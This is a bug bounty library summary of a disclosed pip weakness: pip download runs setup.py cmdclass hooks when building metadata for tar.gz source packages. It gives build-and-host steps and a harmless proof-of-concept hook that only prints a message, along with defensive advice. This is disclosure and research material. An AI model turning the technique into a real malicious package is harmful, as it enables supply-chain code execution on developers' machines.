# Malicious Python Packages and Code Execution via pip download

pip download executes setup.py cmdclass code from tar.gz packages, letting a malicious package run arbitrary code on download alone.

- Payout: Research
- Severity: high
- Program: pip
- Write-up by: Johann Rehberger
- Disclosed: 2022-09-09
- Write-up quality: 6/10
- Original: https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2022-python-package-manager-install-and-download-vulnerability
- Tags: area:oss domain:oss impact:rce kind:research platform:research sev:high tech:python technique:source-review vuln:dependency-confusion vuln:rce

**Target:** pip package download of tar.gz source distributions
**Root cause:** pip generates metadata for tar.gz source packages by running setup.py, which honors cmdclass hooks (install, egg_info), so arbitrary code executes during download, not just install.
**Steps:**
1. Create a package with setup.py defining `cmdclass={'install': RunInstallCommand, 'egg_info': RunEggInfoCommand}` where the command runs arbitrary code.
2. Build with `python -m build` to produce a tar.gz in ./dist/.
3. Host it: `pypi-server run -v -p 8080 ./packages` and copy the tar.gz into ./packages.
4. Victim runs `pip download this_is_fine_wuzzi --index-url http://amstrad:8080 --trusted-host amstrad -v` and the code executes.
**How found:** Author followed Yehuda Gelb's post and a 2014 pip GitHub issue noting metadata generation during pip download; experimented with setup.py cmdclass to confirm code execution on download.
**Exploitation:** Attacker publishes or hosts a tar.gz sdist with a cmdclass hook; any victim running pip download (or install) against that index executes the attacker's code during metadata generation, with no install step required.
**Insight:** pip download is not safe: metadata generation runs setup.py for tar.gz sdists. Check `/simple/<package>` to see if only a tar.gz is offered, and prefer wheels or inspect the tarball before downloading.

## Proof of concept (copied exactly from the original report)

**setup.py cmdclass executing code on download**

```
cmdclass={
 'install' : RunInstallCommand,
 'egg_info': RunEggInfoCommand
 },
...

My demo just runs a print command:

...
def RunCommand():
 print("Hello, p0wnd!")

class RunInstallCommand(install):
 def run(self):
 RunCommand()
 install.run(self)
```

**pip download command triggering execution**

```
pip download this_is_fine_wuzzi --index-url http://amstrad:8080 --trusted-host amstrad -v
```

